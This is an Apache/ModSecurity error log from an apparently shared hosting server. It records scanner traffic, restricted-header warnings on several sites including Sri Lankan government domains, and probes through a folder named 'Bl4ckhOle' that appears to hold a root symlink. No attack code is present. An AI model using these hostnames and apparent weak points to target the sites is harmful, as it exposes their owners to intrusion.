[Fri Jul 17 10:13:53.812052 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:53.978157 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:54.168081 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:54.341060 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:55.005439 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64100fae82b04_Vol_50_no_03-english.pdf"] [unique_id "almzC4-0g_VSPeIeFN3N6wAAAAs"]
[Fri Jul 17 10:13:55.005783 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64100fae82b04_Vol_50_no_03-english.pdf"] [unique_id "almzC4-0g_VSPeIeFN3N6wAAAAs"]
[Fri Jul 17 10:13:55.006128 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64100fae82b04_Vol_50_no_03-english.pdf"] [unique_id "almzC4-0g_VSPeIeFN3N6wAAAAs"]
[Fri Jul 17 10:13:55.224070 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:55.391034 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:55.567222 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:55.755247 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:55.941147 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:57.002948 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:57.870083 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:57.910353 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:57.979766 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:57.980193 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/platform-python/"] [unique_id "almzDTM07o9wrUj-Wv1yUAAAABQ"]
[Fri Jul 17 10:13:57.980219 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/platform-python/"] [unique_id "almzDTM07o9wrUj-Wv1yUAAAABQ"]
[Fri Jul 17 10:13:58.018961 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:58.122991 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:13:58.138554 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:58.999020 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:13:59.208783 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:00.039019 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:00.224931 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:00.320886 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:35634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:00.389916 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:00.560997 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:00.904372 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:35660] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:01.071906 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/new-patient-registration-data-at-government-cancer-treatment-centers-2008-2020"] [unique_id "almzEVmuKRtYY-VAGIVXuAAAAAk"]
[Fri Jul 17 10:14:01.072394 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/new-patient-registration-data-at-government-cancer-treatment-centers-2008-2020"] [unique_id "almzEVmuKRtYY-VAGIVXuAAAAAk"]
[Fri Jul 17 10:14:01.072827 2026] [security2:error] [pid 2068143:tid 2068143] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/en/posts/new-patient-registration-data-at-government-cancer-treatment-centers-2008-2020"] [unique_id "almzEVmuKRtYY-VAGIVXuAAAAAk"]
[Fri Jul 17 10:14:01.464957 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:01.628817 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:01.797005 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:01.999598 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:02.165993 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:02.352336 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:02.543115 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:02.741935 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:02.922630 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:03.117621 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:03.405625 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:03.481813 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:03.648777 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:03.815363 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:03.979963 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:04.205087 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:04.373400 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:04.574993 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:05.300550 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:05.468236 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:05.632736 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:05.837460 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:06.002885 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:06.119139 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:06.122202 2026] [core:error] [pid 2065296:tid 2065296] (13)Permission denied: [client 47.82.15.23:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/bus/usb/devices/1-0:1.0/subsystem/drivers_probe
[Fri Jul 17 10:14:06.181777 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:06.346071 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:06.346447 2026] [security2:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-global": Permission denied [hostname "ksoft.lk"] [uri "/export.php"] [unique_id "almzFlWVGD3EZW05fn31lQAAAAI"]
[Fri Jul 17 10:14:06.346468 2026] [security2:error] [pid 2063883:tid 2063883] [client 191.239.249.183:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftlk1-ip": Permission denied [hostname "ksoft.lk"] [uri "/export.php"] [unique_id "almzFlWVGD3EZW05fn31lQAAAAI"]
[Fri Jul 17 10:14:06.511932 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:06.695372 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:06.861464 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:07.025619 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:07.110843 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:34774] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:07.200255 2026] [proxy_fcgi:error] [pid 2068143:tid 2068143] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:07.392763 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:07.578736 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:07.777100 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:08.481095 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:09.193926 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:34868] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:09.221294 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:09.390733 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:09.425188 2026] [security2:error] [pid 2030804:tid 2030804] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almy_4e39YUk0SgV8AVH1AAAABE"]
[Fri Jul 17 10:14:09.425220 2026] [security2:error] [pid 2030804:tid 2030804] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almy_4e39YUk0SgV8AVH1AAAABE"]
[Fri Jul 17 10:14:09.581997 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:09.752610 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:09.954982 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:10.651872 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:34894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:11.232725 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:11.265524 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:11.271957 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:11.397097 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:11.585548 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:11.774273 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:11.947892 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:11.996042 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:38834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:12.134924 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:12.302636 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:12.490836 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:12.669533 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:12.868535 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:12.982541 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38906] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:13.047905 2026] [proxy_fcgi:error] [pid 2070772:tid 2070772] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:13.238960 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:13.420621 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:13.610939 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:14.236347 2026] [ssl:error] [pid 2070772:tid 2070772] (70014)End of file found: [client 66.85.158.91:38940] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:14.281361 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:14.286068 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:14.576297 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:38958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:14.695736 2026] [security2:error] [pid 2063463:tid 2063463] [client 57.141.18.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory95/node0/memory50/node0/memory69/subsystem/"] [unique_id "almzHv72foAPmCnen3SsgAAAABs"]
[Fri Jul 17 10:14:14.695775 2026] [security2:error] [pid 2063463:tid 2063463] [client 57.141.18.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory95/node0/memory50/node0/memory69/subsystem/"] [unique_id "almzHv72foAPmCnen3SsgAAAABs"]
[Fri Jul 17 10:14:14.706552 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:14.874392 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:15.055919 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:15.063450 2026] [proxy_fcgi:error] [pid 2063436:tid 2063436] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:15.232646 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:15.404597 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:15.569047 2026] [proxy_fcgi:error] [pid 2068138:tid 2068138] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:15.741420 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:15.917320 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:16.091744 2026] [proxy_fcgi:error] [pid 2065296:tid 2065296] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:16.168475 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:16.176300 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:16.268769 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:16.449961 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:16.614484 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:16.810614 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:16.974634 2026] [proxy_fcgi:error] [pid 2070774:tid 2070774] [client 191.239.249.183:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:14:19.824195 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:21.894032 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:21.899016 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:21.900293 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:22.001330 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:22.040280 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:23.042227 2026] [mime:warn] [pid 2070772:tid 2070772] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:24.248281 2026] [security2:error] [pid 2064883:tid 2064883] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/class-wp-block-processor.php"] [unique_id "almzJwgUGKrGY1YsJl1vZgAAAAY"], referer: binance.com
[Fri Jul 17 10:14:24.248326 2026] [security2:error] [pid 2064883:tid 2064883] [client 80.241.220.98:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-includes/class-wp-block-processor.php"] [unique_id "almzJwgUGKrGY1YsJl1vZgAAAAY"], referer: binance.com
[Fri Jul 17 10:14:32.835189 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:54226] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:14:33.452138 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:33.737207 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:33.742585 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:33.745092 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:33.834803 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:14:34.579128 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.230:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2018/11/rsz_proventtus_hr_services_03.jpg"] [unique_id "almzMjM07o9wrUj-Wv1yagAAABQ"]
[Fri Jul 17 10:14:34.579577 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2018/11/rsz_proventtus_hr_services_03.jpg"] [unique_id "almzMjM07o9wrUj-Wv1yagAAABQ"]
[Fri Jul 17 10:14:34.613473 2026] [security2:error] [pid 2063436:tid 2063436] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2018/11/rsz_proventtus_hr_services_03.jpg"] [unique_id "almzMjM07o9wrUj-Wv1yagAAABQ"]
